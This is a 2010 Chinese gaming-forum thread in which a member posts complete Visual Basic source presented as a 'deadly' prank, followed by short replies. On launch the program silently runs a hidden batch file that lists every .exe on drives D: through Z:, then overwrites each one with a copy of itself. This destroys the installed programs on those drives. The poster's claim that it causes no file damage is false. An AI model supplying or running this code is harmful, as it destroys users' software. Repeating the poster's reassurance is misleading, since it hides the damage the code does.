您好，欢迎来中华游戏网！请登录立即注册
一键打卡 每日打卡 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 心情随笔 中华银行 家族部落 积分兑换 图片上传 在线查毒
发表新帖 回帖
返回列表
第一页12尾页页码:1/2
No.81013
十方破沙羅
登录解锁详细资料
  
[道具][倒序][只看他][屏蔽签名|屏蔽头像]

一段要人命的vb代码

本贴由: 中华游戏网 会员: 十方破沙羅 发表于: 2010-09-13 03:00 共31413人围观 13人回复

             -----------------------------------------------声明---------------------------------------------------------------
如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容错句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 '打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据
Close #1 '关闭文件
Sleep 200 '延时200秒等待文件生成（主要为了慢机器）
Shell "c:\a.bat", 0 '隐藏运行之
End If
Sleep 60000 '延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉
Next
End Sub



PS:
其实我也不懂编代码..
不过这个嘛...我只能说...人生在世.害人二字....
虽然是这样说..但至少不会让你重装系统..
玩玩而已的东西...
中华游戏网 cnyouw
CNYOUW.CNSIGNATURE
评分选定 举报 楼主 
回复 引用
No.44312
无挂不dnf
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
这个是。。。格式化的吧！
CNYOUW.CNSIGNATURE
Twercies.N.Chirs
评分选定 举报 沙发 
回复 引用 评分
No.424116
曾经俺很瘦
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
看不懂看懂也不试
CNYOUW.CNSIGNATURE
评分选定 举报 板凳 
回复 引用 评分
No.223099
ewqewq163
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
...看的似懂非懂...- -不理解这个干什么用滴
CNYOUW.CNSIGNATURE
世界教育了我们欺骗，犯罪还冠冕堂皇的说河蟹
评分选定 举报 宅3楼 
回复 引用 评分
No.138610
╰凹凸ㄨ曼)
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
反正不会要我命
CNYOUW.CNSIGNATURE
评分选定 举报 腐4楼 
回复 引用 评分
No.216231
qinchoudaoti
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
看不懂，要不你再给来个讲解吧
CNYOUW.CNSIGNATURE
开心每一天
评分选定 举报 宅5楼 
回复 引用 评分
No.35036
流星落
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
话说恶搞的VB代码我只会写自动关机的
没学VB编程
CNYOUW.CNSIGNATURE
评分选定 举报 腐6楼 
回复 引用 评分
No.68139
飞翔の卡米
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
YD的十方，你自己试过没
CNYOUW.CNSIGNATURE
评分选定 举报 宅7楼 
回复 引用 评分
No.81013
十方破沙羅
登录解锁详细资料
  
时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
回 7楼(被游街の神) 的帖子
我只能说..这段代码不会造成文件损坏..不会让你重装系统..
你敢做勇敢的小白鼠吗?

另外..为什么总要在我名字前面加上YD二字呢?其实我很单纯的...
CNYOUW.CNSIGNATURE
评分选定 举报 腐8楼 
回复 引用 评分
No.238858
wang0899
登录解锁详细资料
  
时间: 2010-10-06 [只看他][屏蔽签名|屏蔽头像]
顶一个,谢谢分享,学习了!
CNYOUW.CNSIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报 宅9楼 
回复 引用 评分
第一页12尾页页码:1/2
发表新帖 回帖
 中华游戏网 » 电脑技术交流
快速回复
进入高级模式[可上传附件]
验证问题:
我们网站的中文名是什么？ 正确答案:

Ctrl + Enter 快速发布
中华游戏网首班列车驶于2006年8月1号，已行驶 天 小时 分 秒